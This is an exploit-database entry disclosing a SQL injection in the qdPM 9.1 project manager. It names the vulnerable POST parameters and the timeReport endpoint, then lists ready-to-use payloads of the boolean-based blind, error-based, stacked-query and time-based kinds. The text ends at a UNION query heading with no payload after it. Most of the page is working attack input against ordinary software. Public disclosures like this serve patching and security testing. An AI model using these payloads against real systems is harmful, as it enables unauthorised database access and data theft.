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qdPM 9.1 - 'filter_by' SQL Injection

EDB-ID:

45767

CVE:

N/A

EDB Verified: ✘

Author:

[AKKUS](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2018-11-02

Vulnerable App: 



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```
# Exploit Title: qdPM 9.1 - 'filter_by' SQL Injection
# Date: 2018-11-01
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software description:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
# using a Ticket System that is integrated into Task management.

# Vulnerabilities:
# The application accommodates 3 different vulnerabilities.
# SQL Injection - Cross-Site Scripting and Denial of Service.

# POC 1 : SQL Inection :
# An attacker can gain access to all the database information using
filter_by[CommentCreatedFrom]
# and filter_by[5BCommentCreatedTo] parameters.

# Parameter: filter_by[CommentCreatedFrom] and
filter_by[5BCommentCreatedTo](POST)
# Request URL: /index.php/timeReport

# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
# Payload:

filter_by[CommentCreatedFrom]=2018-10-30") RLIKE (SELECT (CASE WHEN
(7166=7166) THEN #0x323031382d31302d3330 ELSE 0x28 END)) AND
("votm"="votm&filter_by[CommentCreatedTo]=2018-10-17

# Type: error-based
# Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
# Payload:

filter_by[CommentCreatedFrom]=2018-10-30") AND
EXTRACTVALUE(2944,CONCAT(0x5c,0x716a766b71,(SELECT #
(ELT(2944=2944,1)),0x7178717871)) AND
("ilfY"="ilfY&filter_by[CommentCreatedTo]=2018-10-17

# Type: stacked queries
# Title: MySQL > 5.0.11 stacked queries (comment)
# Payload:

filter_by[CommentCreatedFrom]=2018-10-30");SELECT
SLEEP(5)#&filter_by[CommentCreatedTo]=2018-10-17

# Type: AND/OR time-based blind
# Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
# Payload:

filter_by[CommentCreatedFrom]=2018-10-30") AND
2173=BENCHMARK(5000000,MD5(0x7652785a)) AND #
("PRig"="PRig&filter_by[CommentCreatedTo]=2018-10-17

# Type: UNION query
# Title: Generic UNION query (NULL) - 40 columns
# Payload:
```

